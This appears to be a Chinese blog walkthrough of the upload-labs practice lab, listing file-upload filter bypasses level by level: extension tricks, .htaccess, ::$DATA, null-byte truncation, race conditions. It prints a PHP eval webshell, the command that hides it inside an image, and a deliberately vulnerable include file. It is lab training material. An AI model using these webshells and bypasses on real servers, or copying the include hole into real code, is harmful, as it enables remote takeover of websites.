upload _labs 通关

upload-labs通关教程:https://segmentfault.com/a/1190000019450720#articleHeader69?tdsourcetag=s_pcqq_aiomsg
第1关 php
第2关 php
第3关 php3
第4关 先上传.htacess文件, 在直接上传jpg即可
第5关 大小写转化 PHP
第6关 php加空格
第7关 php.
第8关 ::$DATA
第9关 PHP…
第10关 pphphp 过滤中间的php
第11关

源码如下:
在这里插入图片描述现在上传一张图片,并用burp suite抓包,然后send to repeater,使用00截断
00截断条件:
1.php<5.3.4,5.3.4及以上已修复。
2.magic_quotes_gpc off。
在这里插入图片描述我们可以在右边看见上传成功
访问地址,上传成功
在这里插入图片描述

第12关

源码如下:
在这里插入图片描述现在上传一张图片,并用burp suite抓包,然后send to repeater
这里保存用了post方法,所以要用burp再16进制里面改,因为post不会像get对%00进行自动解码。
在这里插入图片描述
在这里插入图片描述打开地址访问,上传成功
在这里插入图片描述第13关
源码:在这里插入图片描述这个需要上传图片马,第一步就要建立一个图片马,
图片马建立过程:随便找张图片,写一个一句话代码,后缀改为php,然后在cmd中合成一下,如下合成了timg.jpg与yijuhua.php 生成yijiuhua1.jpg

我写的一句话木马的php文件的代码是<?php @eval($_POST["c"]); ?>

合成一句话图片马语句如下:copy timg.jpg /b + yijiuhua.php /a yijiuhua1.jpg
在这里插入图片描述将合成的一句话图片马上传到那个页面中
在这里插入图片描述与此同时,写一个文件包含漏洞的php文件(include.php)放在upload根目录下

我写的代码是<?php $file=$_GET['page']; include($file); ?>

复制上图的图片地址,在菜刀里建立连接
在这里插入图片描述在网页中的打开这个链接,就可以成功访问了
在这里插入图片描述上传成功
.png 与 .gif 只需在合成一句话图片马时,修改一下后缀即可。
第14关

源码:在这里插入图片描述突然发现13.14.15关都可以利用文件包含(就是那个include.php文件)直接上传一句话图片马(网页上访问的地址为localhost/include.php?page=********.jpg)

第16关

要使用二次渲染https://xz.aliyun.com/t/2657

第17关

关于burpsuite里intuder使用的一些教程
http://www.sohu.com/a/211126154_354899
https://t0data.gitbooks.io/burpsuite/content/chapter8.html

关于条件竞争的一些讲解:
https://blog.csdn.net/ivalue/article/details/81412494
https://blog.csdn.net/qq_25899635/article/details/90411936
https://blog.csdn.net/qq_36992198/article/details/80007405
第17关源码:
在这里插入图片描述先move再判断,符合白名单就重命名,不符合就unlink。

所以可以利用竞争条件,不断发包传moon.php,再不断访问直到成功。

这次要send to intruder,
在这里插入图片描述在这里插入图片描述在这里插入图片描述终于,经过不懈的努力,被弄出来了,由源代码可知,因为后缀名是php,所以最后一定会被删除,文件被上传后,存留的时间非常短,所以真的好难操作。

第18关
把php后缀的文件加上 .7z ,然后上传,并用burp suite拦下来,send to
intruder,然后和17关操作一样,这时文件上传到的位置是www,而非upload的目录下,继而去网页上输入 localhost/www/****php 即可

第19关
在这里插入图片描述第20关
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值